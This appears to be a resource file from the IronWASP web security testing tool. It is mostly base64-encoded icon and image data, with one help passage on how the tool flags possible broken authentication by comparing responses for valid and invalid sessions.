U4ZIGpfYNApv6hQ9vrmQTIkJnVccRd/olkZHfI5SPZMriUuaJnN4XFhP+Ax1gjgspqFF3ixlmmkWZriL + DwDvGasLES22YeTLBAA8GU/XF2rNiZSVheZLKd2MIW4a6zczzlYbNLNmLR2Pnc9qX7uCYz4HKCdN2PqE + vOYmc7cFl2ErvL8IrUUO81SckYNuYYmRHQDeF913vSlEAPCMnOgLYV5owAAAAOCm0Bc+F+UXcvdwDwAA + AOAG0BcCAAAAQIC+EAAAAAAC9IUAAAAAEKAvBAAAAIAAfSEAAAAABOgLAQAAAOD19fX1/9sNkhUCyTrP + AAAAAElFTkSuQmCC + + + + IronWASP sends each selected Request and then compares its response against the response received for valid token. The percentage of difference between these twos responses is displayed in this section. If the percentage of difference is really low then it means the responses for valid and invalid session were very similar, this hints towards a possibility that the application might not be properly enforcing authentication based access control in that section. +To confirm this you can click on this entry, this will show the request/response with valid session and invalid session along with the diff of the requests and responses. Analyzing this manually can help the tester determine if that particular request is vulnerable to Broken Authentication. + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08B0ZdP1NGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP09GXTwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwZLS0tR0ZdPXNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPW0tL + S1JLS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2dLS0vgiG5NCdGXT93Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0/dgWpNCktLS+JLS0tnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLBktLS+FLS0v/S0tLXtGXT2jRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl09nS0tLYktLS/9LS0vhS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLaUtLS/9LS0v/S0tL1LuLTgnRl0/m0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT+avhE4KS0tL2UtLS/9LS0v/S0tLaAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sHS0tL4ktLS/9LS0v/S0tL/0tLS0/Rl0900ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT3RLS0tWS0tL/0tLS/9LS0v/S0tL4UtL + SwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tqS0tL/0tLS/9LS0v/S0tL/0tL + S8fQl08N0ZdP7dGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP7cqTTw1LS0vOS0tL/0tL + S/9LS0v/S0tL/0tLS2kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwdLS0vjS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tA0ZdPgdGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdPgEtL + S0lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+JLS0sHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0u40ZdPE9GXT/PRl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0/z0ZdPE0tLS8NLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tqAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCEtLS+RLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v+S0tLMdGXT1vRl0+K0ZdPitGX + T0XRl09F0ZdPitGXT4rRl09bS0tLPUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vjS0tLBwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 